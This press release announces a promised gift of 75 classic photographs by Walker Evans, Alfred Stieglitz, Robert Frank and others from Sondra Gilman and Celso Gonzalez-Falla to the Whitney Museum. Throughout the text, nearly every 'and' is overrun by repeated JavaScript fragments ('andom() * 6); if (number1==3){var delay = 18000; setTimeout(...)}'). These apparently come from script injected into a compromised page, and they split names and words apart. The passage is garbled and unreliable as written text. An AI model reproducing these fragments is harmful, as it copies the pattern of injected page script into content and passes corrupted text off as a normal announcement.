NEW YORK CITY — Adam D. Weinberg, the Alice Pratt Brown director of the Whitney Museum of American Art, announced that a promised gift of 75 iconic photographs has been made by Sondra Gilman andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Celso Gonzalez-Falla that will dramatically impact the museum’s photography collection.

“This promised gift from the greatest benefactors of the Whitney Museum’s photography program has a transformative effect on the museum’s collection,” said Weinberg. “The works are classics of Twentieth Century photography that enable us to tell the story of Twentieth Century American art. We are profoundly grateful to Sondra andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Celso, who have amassed one of the outstandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding collections of photography in the world, for their extraordinary support andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and longtime allegiance to the Whitney. They have raised our collection to a new level.”

Among the works are 12 photographs by Walker Evans, including “Kitchen Wall, Alabama Farmstead,” 1936, which was published in Evans’s andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and James Agee’s book on tenant farm families, Let Us Now Praise Famous Men, as well as “Torn Movie Poster,” 1931. Also part of the gift are two of the most iconic works of Alfred Stieglitz, “Equivalent,” 1922, an example from his seminal series of cloud photographs, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Spring Showers,” 1901, an early photograph, as well as key works by Robert Frank from his classic series “The Americans.”

There are also excellent examples of work by Diane Arbus, William Eggleston andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Imogen Cunningham, including “Martha Graham 2,” 1931. The works, which are being given as a shared promised gift that will be jointly held by the Whitney with the Gilman andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Gonzalez-Falla Arts Foundation, include iconic photographs by Berenice Abbott, Ansel Adams, Margaret Bourke-White, Harry Callahan, Roy DeCarava, Lewis Hine, William Klein, Dorothea Lange, Helen Levitt, Danny Lyon, Lisette Model, Man Ray, W. Eugene Smith, Paul Strandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, Edward Weston andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Minor White, among others.

The Whitney plans to include some of the photographs in the presentation of the permanent collection that will inaugurate the museum’s new building downtown, on the corner of Gansevoort andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Washington Streets, when it opens in the spring of 2015.

The Whitney Museum is at 945 Madison Avenue at 75th Street. For information, 212-570-3600 or www.whitney.org.